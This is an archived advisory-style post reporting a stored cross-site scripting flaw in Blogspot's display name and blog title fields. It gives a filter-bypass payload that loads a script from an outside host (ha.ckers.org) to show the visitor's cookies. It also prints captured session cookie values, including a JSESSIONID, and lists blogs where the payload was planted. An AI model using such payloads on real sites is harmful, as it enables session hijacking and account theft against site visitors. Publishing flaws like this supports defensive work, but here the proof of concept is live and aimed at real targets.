TUCoPS :: Web :: Specific Sites :: b06-3129.htm

Blogspot.com - XSS with cookie disclosure
Blogspot.com - XSS with cookie disclosure
Blogspot.com - XSS with cookie disclosure



Blogspot.com=0D
=0D
Homepage:=0D
http://www.blogspot.com=0D 
=0D
Affected files:=0D
=0D
Blog input boxes=0D
------------------------------------------=0D
=0D
XSS vuln via Display name input box.=0D
=0D
Blogger doesnt properally sanatize user input before generating it. For example, you can't use illegal characters in your username,or password, but for a "Display name", theyre allowed. Also, in Blog title, you can use them.=0D
=0D
For a PoC in the display name box try putting:=0D
=0D 
=0D
When you visit your blog at http://whatever.blogspot.com, you'll see the code printedon the page, however it works. If you were to use a img tag as your display name, the image would be displayed.=0D 
=0D
=0D
And to bypass the not allowed html filter, we put the numerical equivlent of < before the actual tag, as well as > after the tag=0D
=0D
<<SCRIPT SRC=http://ha.ckers.org/xss.js>>=0D 
=0D
With that code above you'll notice your cookie data has popped up. Awesome huh? Below the screenshot & cookie data:=0D
=0D
=0D
Our cookie:=0D
=0D
This is remote text via xss.js located at ha.ckers.org NSC_cmphhfs-fyu=0a1401230050; JSESSIONID=41EF1903DD571793A2D29B41CCED8834; ServerID=1315; hlSession=en; hl=en; __utma=150635877.44768819.1150269380.1150269380.=0D
1150269380.1; __utmb=150635877; __utmc=150635877; __utmz=150635877.1150269380.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NSC_cmphhfs-fyu=0a1401030050;I=SWgFh0wsBAAA=.hCANmCIpgh6067BRKRqqmg==.a+/bxnhvdaZFY6bOWAk5wQ==; B1I=%3CSCRIPT+SRC%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2FSCRIPT%3E& =0D
=0D
=0D
Screenshots:=0D
http://www.youfucktard.com/xsp/blogspot1.jpg=0D 
http://www.youfucktard.com/xsp/blogspot2.jpg=0D 
=0D
=0D
Example blogs with the vuln inplanted:=0D
http://ghgfde3.blogspot.com/=0D 
(NSFW) http://botguy.blogspot.com 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH